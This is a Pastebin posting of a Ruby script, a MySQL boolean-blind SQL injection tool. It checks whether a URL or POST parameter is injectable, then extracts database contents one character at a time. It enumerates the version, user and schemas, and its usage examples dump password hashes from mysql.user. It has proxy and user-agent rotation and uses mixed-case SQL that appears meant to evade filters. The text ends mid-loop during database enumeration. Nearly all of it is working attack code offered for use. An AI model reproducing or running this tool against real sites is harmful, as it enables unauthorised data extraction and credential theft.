Advertisement
Guest User

HR's MySQL Boolean Blind Based Injector

a guest
Oct 1st, 2013
571
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Ruby 28.97 KB | None | 0 0
  1. #!/usr/bin/env ruby
  2. #
  3. # MySQL Boolean Blind Based Injector
  4. # By: Hood3dRob1n
  5. #
  6.  
  7. ### PROXY SETTINGS ####
  8. $proxy=false          #
  9. $proxyip='127.0.0.1'  #
  10. $proxyport=8080       #
  11. $proxy_auth=false     #
  12. $proxy_user=''        #
  13. $proxy_pass=''        #
  14. #######################
  15.  
  16. ###### HTTP REQUEST #####
  17. $ref=false              #
  18. $referrer=''            #
  19. $user_agent=nil         #
  20. $cookiefile=''          #
  21. $headers_add=false      #
  22. $cookie_support=false   #
  23. $headers={'Foo'=>'Bar'} #
  24. #########################
  25.  
  26. ### HTTP AUTH ###
  27. $auth=false     #
  28. $auth_user=''   #
  29. $auth_pass=''   #
  30. #################
  31.  
  32. require 'cgi'
  33. require 'optparse'
  34. require 'colorize'
  35. require 'curb'
  36.  
  37. # Trap Interupts
  38. trap("SIGINT") {puts "\n\nWARNING! CTRL+C Detected, Shutting things down....."; exit 666;}
  39.  
  40. # 31337 Banner
  41. def banner
  42.   puts
  43.   puts "MySQL Boolean Blind Based Injection"
  44.   puts "By: Hood3dRob1n"
  45. end
  46.  
  47. # Clear Terminal
  48. def cls
  49.   if RUBY_PLATFORM =~ /win32|win64|\.NET|windows|cygwin|mingw32/i
  50.     system('cls')
  51.   else
  52.     system('clear')
  53.   end
  54. end
  55.  
  56. # Find the parameters in URL provided
  57. # Returns a Hash{ 'param' => 'value' } or nil if no params found
  58. def find_parameters(paramaterstring)
  59.   parameters={}
  60.   if not paramaterstring =~ /.+=/
  61.     return nil
  62.   else
  63.     if paramaterstring =~ /.+=.+&.+/
  64.       foo = paramaterstring.split('&')
  65.       foo.each do |paramz|
  66.         parameters.store(paramz.split('=')[0], paramz.split('=')[1])
  67.       end
  68.       return parameters
  69.     elsif paramaterstring =~ /.+=.+;.+/
  70.       foo = paramaterstring.split(';')
  71.       foo.each do |paramz|
  72.         parameters.store(paramz.split('=')[0], paramz.split('=')[1])
  73.       end
  74.       return parameters
  75.     else
  76.       k = paramaterstring.split('=')[0]
  77.       v = paramaterstring.split('=')[1]
  78.       parameters.store(k, v)
  79.       return parameters
  80.     end
  81.   end
  82. end
  83.  
  84. # Add URL-Encoding to String Class
  85. class String
  86.   # URI Encode String
  87.   def urienc encoding=nil
  88.     begin
  89.       CGI::escape self
  90.     rescue ArgumentError => e
  91.       if e.to_s == 'invalid byte sequence in UTF-8'
  92.         encoding = 'binary' if encoding.nil?
  93.         CGI::escape self.force_encoding(encoding)
  94.       else
  95.         raise e
  96.       end
  97.     end
  98.   end
  99.  
  100.   # Convert String to HEX Value with '0x' prefix for mysql friendliness
  101.   def mysqlhex
  102.     foo='0x'
  103.     foo += self.each_byte.map { |b| b.to_s(16) }.join
  104.     return foo
  105.   end
  106.  
  107.   # HEX Decoding of mysql hex '0x'
  108.   def mysqlhexdecode
  109.     self.sub('0x','').scan(/../).map { |x| x.hex.chr }.join
  110.   end
  111. end
  112.  
  113. # Curb Wrapper Class for HTTP Request Handling
  114. # Makes it a touch easier
  115. class EasyCurb
  116.   # Curl::Multi Request Option
  117.   # Returns a Hash { 'url link' => [single response array] }
  118.   def multi_get(arrayoflinks)
  119.     mresponses = {}
  120.     m = Curl::Multi.new
  121.     # add a few easy handles
  122.     arrayoflinks.each do |url|
  123.       mresponses[url] = simple(url)
  124.       m.add(mresponses[url])
  125.     end
  126.     begin
  127.       m.perform
  128.     rescue Curl::Err::ConnectionFailedError => e
  129.     puts "Redo - Problem with Network Connection => #{e}"
  130.     rescue Curl::Err::MalformedURLError => e
  131.     puts "Curl Failure => #{e}"
  132.     rescue Curl::Err::PartialFileError => e
  133.     puts "Curl Failure => #{e}"
  134.     rescue Curl::Err::GotNothingError => e
  135.     puts "Curl Failure => #{e}"
  136.     rescue Curl::Err::RecvError => e
  137.     puts "Curl Failure => #{e}"
  138.     rescue Curl::Err::HostResolutionError => e
  139.     puts "Problem resolving Host Details => #{e}"
  140.     end
  141.     # Return our Hash with URL as Key and Simple Response Array for Value
  142.     return mresponses
  143.   end
  144.  
  145.   def simple(link, postdata=nil)
  146.     agents = ['Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; GTB7.4; InfoPath.2; SV1; .NET CLR 3.3.69573; WOW64; en-US)',
  147.   'Mozilla/5.0 (iPad; CPU OS 6_0 like Mac OS X) AppleWebKit/536.26 (KHTML, like Gecko) Version/6.0 Mobile/10A5355d Safari/8536.25',
  148.   'Mozilla/5.0 (X11; CrOS i686 4319.74.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/29.0.1547.57 Safari/537.36',
  149.   'Mozilla/5.0 (Windows NT 6.0; WOW64; rv:24.0) Gecko/20100101 Firefox/24.0',
  150.   'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:21.0) Gecko/20130331 Firefox/21.0',
  151.   'Mozilla/5.0 (X11; Linux x86_64; rv:17.0) Gecko/20121202 Firefox/17.0 Iceweasel/17.0.1',
  152.   'Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 5.2)',
  153.   'Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; GTB7.4; InfoPath.2; SV1; .NET CLR 3.3.69573; WOW64; en-US)',
  154.   'Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)',
  155.   'Mozilla/5.0 (compatible; Konqueror/4.5; FreeBSD) KHTML/4.5.4 (like Gecko)',
  156.   'Opera/9.80 (Windows NT 6.1; U; es-ES) Presto/2.9.181 Version/12.00' ]
  157.  
  158.     @ch = Curl::Easy.new(link) do |curl|
  159.       # Set Proxy Connection Details if needed
  160.       if $proxy
  161.         curl.proxy_url = $proxyip
  162.         curl.proxy_port = $proxyport.to_i
  163.         if $proxy_auth
  164.           curl.proxypwd = "#{$proxy_user}:#{$proxy_pass}"
  165.         end
  166.       end
  167.  
  168.       # Set HTTP Authentication Details if needed
  169.       if $auth
  170.         curl.http_auth_types = :basic
  171.         curl.username = $auth_user
  172.         curl.password = $auth_pass
  173.       end
  174.  
  175.       # Add custom referrer if needed
  176.       if $ref
  177.         curl.headers['Referer'] = "#{$referrer}"
  178.       end
  179.  
  180.       # Add custom headers as needed
  181.       if $headers_add
  182.         $headers.each do |k, v|
  183.           curl.headers["#{k}"] = "#{v}"
  184.         end
  185.       end
  186.  
  187.       # Add custom cookies if needed
  188.       if $cookie_support
  189.         curl.cookies = $cookiefile
  190.       end
  191.  
  192.       # Set User-Agent to default or whatever was selected
  193.       if $user_agent.nil?
  194.         $user_agent = agents[rand(agents.size)]
  195.       end
  196.       curl.useragent = $user_agent
  197.  
  198.       # Setup Post Request If needed
  199.       begin
  200.         curl.http_post(link, "#{postdata}") if not postdata.nil?
  201.       rescue Curl::Err::ConnectionFailedError => e
  202.         puts "Redo - Problem with Network Connection => #{e}"
  203.       rescue Curl::Err::MalformedURLError => e
  204.         puts "Curl Failure => #{e}"
  205.       rescue Curl::Err::PartialFileError => e
  206.         puts "Curl Failure => #{e}"
  207.       rescue Curl::Err::RecvError => e
  208.         puts "Curl Failure => #{e}"
  209.       rescue Curl::Err::GotNothingError => e
  210.         puts "Curl Failure => #{e}"
  211.       rescue Curl::Err::HostResolutionError => e
  212.         puts "Problem resolving Host Details => #{e}"
  213.       end
  214.     end
  215.   end
  216.  
  217.   # Make GET requests to given link
  218.   # Returns an array filled with the following:
  219.   # response_body, response_code, repsonse_time, response_headers
  220.   def get(getlink)
  221.     simple(getlink)
  222.     begin
  223.       @ch.perform
  224.     rescue Curl::Err::ConnectionFailedError => e
  225.       puts "Redo - Problem with Network Connection => #{e}"
  226.     rescue Curl::Err::MalformedURLError => e
  227.       puts "Curl Failure => #{e}"
  228.     rescue Curl::Err::PartialFileError => e
  229.       puts "Curl Failure => #{e}"
  230.     rescue Curl::Err::RecvError => e
  231.       puts "Curl Failure => #{e}"
  232.     rescue Curl::Err::GotNothingError => e
  233.       puts "Curl Failure => #{e}"
  234.     rescue Curl::Err::HostResolutionError => e
  235.       puts "Problem resolving Host Details => #{e}"
  236.     end
  237.     return @ch.body_str, @ch.response_code, @ch.total_time, @ch.header_str
  238.   end
  239.  
  240.   # Make POST requests to given link and post data
  241.   # Returns an array filled with the following:
  242.   # response_body, response_code, repsonse_time, response_headers
  243.   def post(postlink, postdata)
  244.     simple(postlink, postdata)
  245.     return @ch.body_str, @ch.response_code, @ch.total_time, @ch.header_str
  246.   end
  247. end
  248.  
  249. # Check for Boolean Blind Injection
  250. # Returns True or False
  251. def boolean_vuln_test(link, postdata=nil)
  252.   r=rand(10000)
  253.   sqli_true = "#{@prefix}aNd #{r}=#{r}#{@suffix}".urienc
  254.   sqli_false = "#{@prefix}aNd #{r}=#{r + 1}#{@suffix}".urienc
  255.   if postdata.nil? or postdata == ''
  256.     # GET
  257.     if @paramk == '[INJECTME]'
  258.       t = link.sub('[INJECTME]', sqli_true)
  259.       f = link.sub('[INJECTME]', sqli_false)
  260.     else
  261.       t = link.sub("#{@paramk}=#{@paramv}", "#{@paramk}=#{@paramv}#{sqli_true}")
  262.       f = link.sub("#{@paramk}=#{@paramv}", "#{@paramk}=#{@paramv}#{sqli_false}")
  263.     end
  264.     trez = @http.get(t)
  265.     frez = @http.get(f)
  266.   else
  267.     # POST
  268.     if @paramk == '[INJECTME]'
  269.       t = postdata.sub('[INJECTME]', sqli_true)
  270.       f = postdata.sub('[INJECTME]', sqli_false)
  271.     else
  272.       t = postdata.sub("#{@paramk}=#{@paramv}", "#{@paramk}=#{@paramv}#{sqli_true}")
  273.       f = postdata.sub("#{@paramk}=#{@paramv}", "#{@paramk}=#{@paramv}#{sqli_false}")
  274.     end
  275.     trez = @http.post(link, t)
  276.     frez = @http.post(link, f)
  277.   end
  278.   if trez[0] == frez[0]
  279.     return false
  280.   else
  281.     # Double Check Just to Be Sure
  282.     sqli_true = "#{@prefix}aNd 1=(SELECT #{r} REGEXP #{r})#{@suffix}".urienc
  283.     sqli_false = "#{@prefix}aNd 1=(SELECT #{r} REGEXP #{r + 1})#{@suffix}".urienc
  284.     if postdata.nil? or postdata == ''
  285.       # GET
  286.       if @paramk == '[INJECTME]'
  287.         t = link.sub('[INJECTME]', sqli_true)
  288.         f = link.sub('[INJECTME]', sqli_false)
  289.       else
  290.         t = link.sub("#{@paramk}=#{@paramv}", "#{@paramk}=#{@paramv}#{sqli_true}")
  291.         f = link.sub("#{@paramk}=#{@paramv}", "#{@paramk}=#{@paramv}#{sqli_false}")
  292.       end
  293.       trez = @http.get(t)
  294.       frez = @http.get(f)
  295.     else
  296.       # POST
  297.       if @paramk == '[INJECTME]'
  298.         t = postdata.sub('[INJECTME]', sqli_true)
  299.         f = postdata.sub('[INJECTME]', sqli_false)
  300.       else
  301.         t = postdata.sub("#{@paramk}=#{@paramv}", "#{@paramk}=#{@paramv}#{sqli_true}")
  302.         f = postdata.sub("#{@paramk}=#{@paramv}", "#{@paramk}=#{@paramv}#{sqli_false}")
  303.       end
  304.       trez = @http.post(link, t)
  305.       frez = @http.post(link, f)
  306.     end
  307.     if trez[0] == frez[0]
  308.       return false
  309.     else
  310.       return true
  311.     end
  312.   end
  313. end
  314.  
  315. # We need to check if data exists before spinning our wheels
  316. # If there is data, the length will be greater than 0
  317. # Return True if data, False if not
  318. def data_exists(link, postdata=nil, query)
  319.   r=rand(10000)
  320.   sqli_true = "#{@prefix}aNd #{r}=#{r}#{@suffix}".urienc
  321.   if postdata.nil? or postdata == ''
  322.     # GET
  323.     if @paramk == '[INJECTME]'
  324.       t = link.sub('[INJECTME]', sqli_true)
  325.     else
  326.       t = link.sub("#{@paramk}=#{@paramv}", "#{@paramk}=#{@paramv}#{sqli_true}")
  327.     end
  328.     trez = @http.get(t)
  329.   else
  330.     # POST
  331.     if @paramk == '[INJECTME]'
  332.       t = postdata.sub('[INJECTME]', sqli_true)
  333.     else
  334.       t = postdata.sub("#{@paramk}=#{@paramv}", "#{@paramk}=#{@paramv}#{sqli_true}")
  335.     end
  336.     trez = @http.post(link, t)
  337.   end
  338.   @true = trez[0]
  339.  
  340.   # Make sure there is data in result
  341.   inj = "#{@prefix}aNd (SeLeCT leNgTh( (#{query}) )<0)#{@suffix}".urienc
  342.   if postdata.nil? or postdata == ''
  343.     # GET
  344.     if @paramk == '[INJECTME]'
  345.       sqli = link.sub('[INJECTME]', inj)
  346.     else
  347.       sqli = link.sub("#{@paramk}=#{@paramv}", "#{@paramk}=#{@paramv}#{inj}")
  348.     end
  349.     rez = @http.get(sqli)
  350.   else
  351.     # POST
  352.     if @paramk == '[INJECTME]'
  353.       sqli = postdata.sub('[INJECTME]', inj)
  354.     else
  355.       sqli = postdata.sub("#{@paramk}=#{@paramv}", "#{@paramk}=#{@paramv}#{inj}")
  356.     end
  357.     rez = @http.post(link, sqli)
  358.   end
  359.   if rez[0] == @true
  360.     puts "Result Length < 0?".light_red
  361.     puts "Bogus Result Encountered!".light_red
  362.     return false
  363.   end
  364.  
  365.   # Make sure there is not too much data in result
  366.   inj = "#{@prefix}aNd (SeLeCT leNgTh( (#{query}) )>1000000)#{@suffix}".urienc
  367.   if postdata.nil? or postdata == ''
  368.     # GET
  369.     if @paramk == '[INJECTME]'
  370.       sqli = link.sub('[INJECTME]', inj)
  371.     else
  372.       sqli = link.sub("#{@paramk}=#{@paramv}", "#{@paramk}=#{@paramv}#{inj}")
  373.     end
  374.     rez = @http.get(sqli)
  375.   else
  376.     # POST
  377.     if @paramk == '[INJECTME]'
  378.       sqli = postdata.sub('[INJECTME]', inj)
  379.     else
  380.       sqli = postdata.sub("#{@paramk}=#{@paramv}", "#{@paramk}=#{@paramv}#{inj}")
  381.     end
  382.     rez = @http.post(link, sqli)
  383.   end
  384.   if rez[0] == @true
  385.     puts "Result Length > 1,000,000?".light_red
  386.     puts "Result Length Too Great to Attempt to Return!".light_red
  387.     return false
  388.   end
  389.   return true
  390. end
  391.  
  392. # Find Length of Query & Dump Results
  393. # Run data_exists?(query) first!
  394. # Returns Results or nil
  395. def sql_inject(link, postdata=nil, query)
  396.   if not data_exists(link, postdata, query)
  397.     puts
  398.     puts "Doesn't appear any data exists!"
  399.     puts "Might be privleges or value is NULL, idk...."
  400.     puts "Double check manually to be 100% sure...."
  401.     puts
  402.     return nil
  403.   end
  404.   # Find the proper range, within 10 of the length
  405.   baselength=10
  406.   while(true)
  407.     inj = "#{@prefix}aNd (SeLeCT leNgTh((#{query}))<#{baselength})#{@suffix}".urienc
  408.     if postdata.nil? or postdata == ''
  409.       # GET
  410.       if @paramk == '[INJECTME]'
  411.         sqli = link.sub('[INJECTME]', inj)
  412.       else
  413.         sqli = link.sub("#{@paramk}=#{@paramv}", "#{@paramk}=#{@paramv}#{inj}")
  414.       end
  415.       rez = @http.get(sqli)
  416.     else
  417.       # POST
  418.       if @paramk == '[INJECTME]'
  419.         sqli = postdata.sub('[INJECTME]', inj)
  420.       else
  421.         sqli = postdata.sub("#{@paramk}=#{@paramv}", "#{@paramk}=#{@paramv}#{inj}")
  422.       end
  423.       rez = @http.post(link, sqli)
  424.     end
  425.     if rez[0] == @true
  426.       # baselength = baselength.to_i - 10
  427.       if baselength.to_i < 100
  428.         baselength = baselength.to_i - 10
  429.       elsif baselength.to_i > 100 and baselength.to_i < 1000
  430.         baselength = baselength.to_i - 50
  431.       elsif baselength.to_i > 1000 and baselength.to_i < 1000000
  432.         baselength = baselength.to_i - 100
  433.       end
  434.       break
  435.     else
  436.       if baselength.to_i < 100
  437.         baselength = baselength.to_i + 10
  438.       elsif baselength.to_i > 100 and baselength.to_i < 1000
  439.         zcount = zcount.to_i + 50
  440.       elsif baselength.to_i > 1000 and baselength.to_i < 1000000
  441.         baselength = baselength.to_i + 100
  442.       else
  443.         puts "Result Length > 1,000,000?".light_red
  444.         puts "Result Length Too Great to Attempt to Return!".light_red
  445.         return nil
  446.       end
  447.       # baselength = baselength.to_i + 10
  448.     end
  449.   end
  450.   # Try to cut in half
  451.   inj = "#{@prefix}aNd (SeLeCT leNgTh((#{query}))<#{(baselength.to_i / 2)})#{@suffix}".urienc
  452.   if postdata.nil? or postdata == ''
  453.     # GET
  454.     if @paramk == '[INJECTME]'
  455.       sqli = link.sub('[INJECTME]', inj)
  456.     else
  457.       sqli = link.sub("#{@paramk}=#{@paramv}", "#{@paramk}=#{@paramv}#{inj}")
  458.     end
  459.     rez = @http.get(sqli)
  460.   else
  461.     # POST
  462.     if @paramk == '[INJECTME]'
  463.       sqli = postdata.sub('[INJECTME]', inj)
  464.     else
  465.       sqli = postdata.sub("#{@paramk}=#{@paramv}", "#{@paramk}=#{@paramv}#{inj}")
  466.     end
  467.     rez = @http.post(link, sqli)
  468.   end
  469.   if rez[0] == @true
  470.     zcount=(baselength + 15)
  471.     baselength = (baselength.to_i / 2) # Cut in half
  472.   else
  473.     zcount=(baselength + 25) # more padding
  474.   end
  475.   # Now narrow it down to the real length
  476.   while true
  477.     inj = "#{@prefix}aNd (SeLeCT leNgTh((#{query}))=#{baselength})#{@suffix}".urienc
  478.     if postdata.nil? or postdata == ''
  479.       # GET
  480.       if @paramk == '[INJECTME]'
  481.         sqli = link.sub('[INJECTME]', inj)
  482.       else
  483.         sqli = link.sub("#{@paramk}=#{@paramv}", "#{@paramk}=#{@paramv}#{inj}")
  484.       end
  485.       rez = @http.get(sqli)
  486.     else
  487.       # POST
  488.       if @paramk == '[INJECTME]'
  489.         sqli = postdata.sub('[INJECTME]', inj)
  490.       else
  491.         sqli = postdata.sub("#{@paramk}=#{@paramv}", "#{@paramk}=#{@paramv}#{inj}")
  492.       end
  493.       rez = @http.post(link, sqli)
  494.     end
  495.     if rez[0] == @true
  496.       break
  497.     else
  498.       baselength = baselength.to_i + 1
  499.     end
  500.     if baselength.to_i > zcount.to_i
  501.       puts "Unable to properly determine result length!".light_red
  502.       baselength = baselength.to_i - 1
  503.       break
  504.     end
  505.   end
  506.   # Now we go get the actual result!
  507.   reallength = baselength.to_i + 1
  508.   char_position = 1
  509.   results = String.new
  510.   while char_position.to_i < reallength.to_i
  511.     inj = "#{@prefix}aNd (SeLeCT aScii(suBstRiNg((#{query}),#{char_position},1))<51)#{@suffix}".urienc
  512.     if postdata.nil? or postdata == ''
  513.       # GET
  514.       if @paramk == '[INJECTME]'
  515.         sqli = link.sub('[INJECTME]', inj)
  516.       else
  517.         sqli = link.sub("#{@paramk}=#{@paramv}", "#{@paramk}=#{@paramv}#{inj}")
  518.       end
  519.       rez = @http.get(sqli)
  520.     else
  521.       # POST
  522.       if @paramk == '[INJECTME]'
  523.         sqli = postdata.sub('[INJECTME]', inj)
  524.       else
  525.         sqli = postdata.sub("#{@paramk}=#{@paramv}", "#{@paramk}=#{@paramv}#{inj}")
  526.       end
  527.       rez = @http.post(link, sqli)
  528.     end
  529.     if rez[0] == @true
  530.       starts = 0
  531.       ends = 51
  532.     else
  533.       inj = "#{@prefix}aNd (SeLeCT aScii(suBstRiNg((#{query}),#{char_position},1))<101)#{@suffix}".urienc
  534.       if postdata.nil? or postdata == ''
  535.         # GET
  536.         if @paramk == '[INJECTME]'
  537.           sqli = link.sub('[INJECTME]', inj)
  538.         else
  539.           sqli = link.sub("#{@paramk}=#{@paramv}", "#{@paramk}=#{@paramv}#{inj}")
  540.         end
  541.         rez = @http.get(sqli)
  542.       else
  543.         # POST
  544.         if @paramk == '[INJECTME]'
  545.           sqli = postdata.sub('[INJECTME]', inj)
  546.         else
  547.           sqli = postdata.sub("#{@paramk}=#{@paramv}", "#{@paramk}=#{@paramv}#{inj}")
  548.         end
  549.         rez = @http.post(link, sqli)
  550.       end
  551.       if rez[0] == @true
  552.         starts = 50
  553.         ends = 101
  554.       else
  555.         inj = "#{@prefix}aNd (SeLeCT aScii(suBstRiNg((#{query}),#{char_position},1))<151)#{@suffix}".urienc
  556.         if postdata.nil? or postdata == ''
  557.           # GET
  558.           if @paramk == '[INJECTME]'
  559.             sqli = link.sub('[INJECTME]', inj)
  560.           else
  561.             sqli = link.sub("#{@paramk}=#{@paramv}", "#{@paramk}=#{@paramv}#{inj}")
  562.           end
  563.           rez = @http.get(sqli)
  564.         else
  565.           # POST
  566.           if @paramk == '[INJECTME]'
  567.             sqli = postdata.sub('[INJECTME]', inj)
  568.           else
  569.             sqli = postdata.sub("#{@paramk}=#{@paramv}", "#{@paramk}=#{@paramv}#{inj}")
  570.           end
  571.           rez = @http.post(link, sqli)
  572.         end
  573.         if rez[0] == @true
  574.           starts = 100
  575.           ends = 151
  576.         else
  577.           inj = "#{@prefix}aNd (SeLeCT aScii(suBstRiNg((#{query}),#{char_position},1))<201)#{@suffix}".urienc
  578.           if postdata.nil? or postdata == ''
  579.             # GET
  580.             if @paramk == '[INJECTME]'
  581.               sqli = link.sub('[INJECTME]', inj)
  582.             else
  583.               sqli = link.sub("#{@paramk}=#{@paramv}", "#{@paramk}=#{@paramv}#{inj}")
  584.             end
  585.             rez = @http.get(sqli)
  586.           else
  587.             # POST
  588.             if @paramk == '[INJECTME]'
  589.               sqli = postdata.sub('[INJECTME]', inj)
  590.             else
  591.               sqli = postdata.sub("#{@paramk}=#{@paramv}", "#{@paramk}=#{@paramv}#{inj}")
  592.             end
  593.             rez = @http.post(link, sqli)
  594.           end
  595.           if rez[0] == @true
  596.             starts = 150
  597.             ends = 201
  598.           else
  599.             starts = 200
  600.             ends = 255
  601.           end
  602.         end
  603.       end
  604.     end
  605.     # Try to cut the range from 50 to 25 now
  606.     inj = "#{@prefix}aNd (SeLeCT aScii(suBstRiNg((#{query}),#{char_position},1))<#{ends - 25})#{@suffix}".urienc
  607.     if postdata.nil? or postdata == ''
  608.       # GET
  609.       if @paramk == '[INJECTME]'
  610.         sqli = link.sub('[INJECTME]', inj)
  611.       else
  612.         sqli = link.sub("#{@paramk}=#{@paramv}", "#{@paramk}=#{@paramv}#{inj}")
  613.       end
  614.       rez = @http.get(sqli)
  615.     else
  616.       # POST
  617.       if @paramk == '[INJECTME]'
  618.         sqli = postdata.sub('[INJECTME]', inj)
  619.       else
  620.         sqli = postdata.sub("#{@paramk}=#{@paramv}", "#{@paramk}=#{@paramv}#{inj}")
  621.       end
  622.       rez = @http.post(link, sqli)
  623.     end
  624.     if rez[0] == @true
  625.       ends = ends - 25
  626.     else
  627.       starts = ends - 25
  628.     end
  629.     # Try to cut the range from 25 to 10 or 15 now
  630.     inj = "#{@prefix}aNd (SeLeCT aScii(suBstRiNg((#{query}),#{char_position},1))<#{ends - 10})#{@suffix}".urienc
  631.     if postdata.nil? or postdata == ''
  632.       # GET
  633.       if @paramk == '[INJECTME]'
  634.         sqli = link.sub('[INJECTME]', inj)
  635.       else
  636.         sqli = link.sub("#{@paramk}=#{@paramv}", "#{@paramk}=#{@paramv}#{inj}")
  637.       end
  638.       rez = @http.get(sqli)
  639.     else
  640.       # POST
  641.       if @paramk == '[INJECTME]'
  642.         sqli = postdata.sub('[INJECTME]', inj)
  643.       else
  644.         sqli = postdata.sub("#{@paramk}=#{@paramv}", "#{@paramk}=#{@paramv}#{inj}")
  645.       end
  646.       rez = @http.post(link, sqli)
  647.     end
  648.     if rez[0] == @true
  649.       ends = ends - 10
  650.     else
  651.       starts = ends - 10
  652.     end
  653.  
  654.     # Not Done Yet....
  655.     pad=' '*20
  656.     while(starts.to_i < ends.to_i)
  657.       inj = "#{@prefix}aNd (SeLeCT aScii(suBstRiNg((#{query}),#{char_position},1))=#{starts})#{@suffix}".urienc
  658.       if postdata.nil? or postdata == ''
  659.         # GET
  660.         if @paramk == '[INJECTME]'
  661.           sqli = link.sub('[INJECTME]', inj)
  662.         else
  663.           sqli = link.sub("#{@paramk}=#{@paramv}", "#{@paramk}=#{@paramv}#{inj}")
  664.         end
  665.         rez = @http.get(sqli)
  666.       else
  667.         # POST
  668.         if @paramk == '[INJECTME]'
  669.           sqli = postdata.sub('[INJECTME]', inj)
  670.         else
  671.           sqli = postdata.sub("#{@paramk}=#{@paramv}", "#{@paramk}=#{@paramv}#{inj}")
  672.         end
  673.         rez = @http.post(link, sqli)
  674.       end
  675.       if rez[0] == @true
  676.         results += starts.chr
  677.         print "\r#{results.chomp}".cyan + pad
  678.         char_position = char_position.to_i + 1
  679.         break
  680.       else
  681.         print "\r#{results.chomp}".cyan + "#{starts.chr.chomp}".white + pad unless starts < 32 or starts > 126
  682.         starts = starts.to_i + 1
  683.       end
  684.     end
  685.   end
  686.   puts "\n"
  687.   return results
  688. end
  689.  
  690.  
  691. # Main --
  692. options = {}
  693. optparse = OptionParser.new do |opts|
  694.   opts.banner = "Usage: #{$0} [OPTIONS]"
  695.   opts.separator ""
  696.   opts.separator "EX: #{$0} -u 'http://somesite.com/index.php?foo=vuln&bar=666' -p foo -b --dbs"
  697.   opts.separator "EX: #{$0} -u http://192.168.2.43/sqli-labs/Less-5/index.php?id=1 -p id -s \"' \" -e '-- -' -b --dbs --tables"
  698.   opts.separator "EX: #{$0} -u \"http://192.168.2.43/sqli-labs/Less-8/index.php?id=1')[INJECTME]\" -q \"SELECT concat(host,0x3a,user,0x3a,password) FROM mysql.user where file_priv='Y' limit 1,1\""
  699.   opts.separator ""
  700.   opts.separator "Options: "
  701.   opts.on('-u', '--url URL', "\n\tURL to Inject") do |target|
  702.     options[:target] = target.chomp
  703.   end
  704.   opts.on('-d', '--data DATA', "\n\tPost Request Data") do |data|
  705.     options[:post] = data.chomp
  706.   end
  707.   opts.on('-p', '--parameter PAR', "\n\tVulnerable Parameter to Inject") do |param|
  708.     options[:param] = param.chomp
  709.   end
  710.   opts.on('-s', '--start STRING', "\n\tInjection Prefix to Use (i.e. ' ,') ,\") ,etc) ") do |param|
  711.     options[:start] = param.chomp
  712.   end
  713.   opts.on('-e', '--end STRING', "\n\tInjection Ending or Delimeter to Use (i.e. --, #, -- -, /*, etc)") do |param|
  714.     options[:end] = param.chomp
  715.   end
  716.   opts.on('-b', '--basic', "\n\tEnumerate Basic Information") do |basic|
  717.     options[:basic] = true
  718.   end
  719.   opts.on('-y', '--dbs', "\n\tEnumerate Available Databases") do |dbs|
  720.     options[:dbs] = true
  721.   end
  722.   opts.on('-t', '--tables', "\n\tEnumerate Tables from Current Databases") do |tbl|
  723.     options[:tables] = true
  724.   end
  725.   opts.on('-q', '--query SQL', "\n\tSQL Query to Run") do |param|
  726.     options[:query] = param.chomp
  727.   end
  728.   opts.on('-h', '--help', "\n\tHelp Menu") do
  729.     cls
  730.     banner
  731.     puts
  732.     puts opts
  733.     puts
  734.     exit 69;
  735.   end
  736. end
  737. begin
  738.   foo = ARGV[0] || ARGV[0] = "-h"
  739.   optparse.parse!
  740.   if options[:param].nil?
  741.     if options[:target] =~ /\[INJECTME\]/i
  742.       options[:param] = '[INJECTME]'
  743.     end
  744.   end
  745.   mandatory = [:target,:param]
  746.   missing = mandatory.select{ |param| options[param].nil? }
  747.   if not missing.empty?
  748.     cls
  749.     banner
  750.     puts
  751.     puts "Missing options: #{missing.join(', ')}"
  752.     puts optparse
  753.     exit 666;
  754.   end
  755. rescue OptionParser::InvalidOption, OptionParser::MissingArgument
  756.   cls
  757.   banner
  758.   puts
  759.   puts $!.to_s
  760.   puts
  761.   puts optparse
  762.   puts
  763.   exit 666;  
  764. end
  765.  
  766. # Identify Parameter or Injection Marker
  767. # Helps with injection placements later
  768. if options[:param] == '[INJECTME]'
  769.   @paramk = options[:param]
  770.   @paramv = 'foofucked'
  771. else
  772.   if options[:post].nil?
  773.     paramaters = find_parameters(URI.parse(options[:target]).query)
  774.   else
  775.     paramaters = find_parameters(options[:post])
  776.   end
  777.   begin
  778.     paramaters.each do |key, value|
  779.       if options[:param] == key
  780.         @paramk = options[:param]
  781.         @paramv = value
  782.       end
  783.     end
  784.   rescue
  785.     puts "No Parameters Matched or Injection Marker Not Found!"
  786.   end
  787. end
  788.  
  789. # String Based Injections
  790. # or Breakouts add as prefix
  791. if options[:start].nil?
  792.   @prefix = ' '
  793. else
  794.   @prefix = options[:start]
  795. end
  796.  
  797. # This is our query delimeter
  798. if options[:end].nil?
  799.   @suffix = '-- -'
  800. else
  801.   @suffix = options[:end]
  802. end
  803.  
  804. # Create a re-usable handle for http requests
  805. @http=EasyCurb.new
  806.  
  807. # Now we go inject stuff :)
  808. if boolean_vuln_test(options[:target], options[:post])
  809.   puts "Appers to be vuln, starting injection now".light_green  + ".....".white
  810.   # Enumerate basic info
  811.   if options[:basic]
  812.     version = sql_inject(options[:target], options[:post], 'SELECT VERSION()')
  813.     user = sql_inject(options[:target], options[:post], 'SELECT USER()')
  814.     db = sql_inject(options[:target], options[:post], 'SELECT DATABASE()')
  815.  
  816.     puts "Basic Info".light_green + ": ".white
  817.     puts "Version".light_green + ": #{version}".white unless version.nil?
  818.     puts "User".light_green + ": #{user}".white unless user.nil?
  819.     puts "DB".light_green + ": #{db}".white unless db.nil?
  820.   end
  821.  
  822.   # Enumerate Available Databases
  823.   if options[:dbs]
  824.     v = sql_inject(options[:target], options[:post], 'MID((SELECT VERSION()),1,1)')
  825.     if v.to_i >= 5
  826.       dbz=[]
  827.       dbs_count = sql_inject(options[:target], options[:post], 'SELECT COUNT(SCHEMA_NAME) FROM INFORMATION_SCHEMA.SCHEMATA')
  828.       puts "Fetching ".light_green + "#{dbs_count}".white + " Databases".light_green + "....".white unless dbs_count.nil?
  829.       if dbs_count.to_i > 0
  830.         0.upto(dbs_count.to_i - 1).each do |zcount|
  831.           results = sql_inject(options[:target], options[:post], "SELECT SCHEMA_NAME FROM INFORMATION_SCHEMA.SCHEMATA LIMIT #{zcount},1")
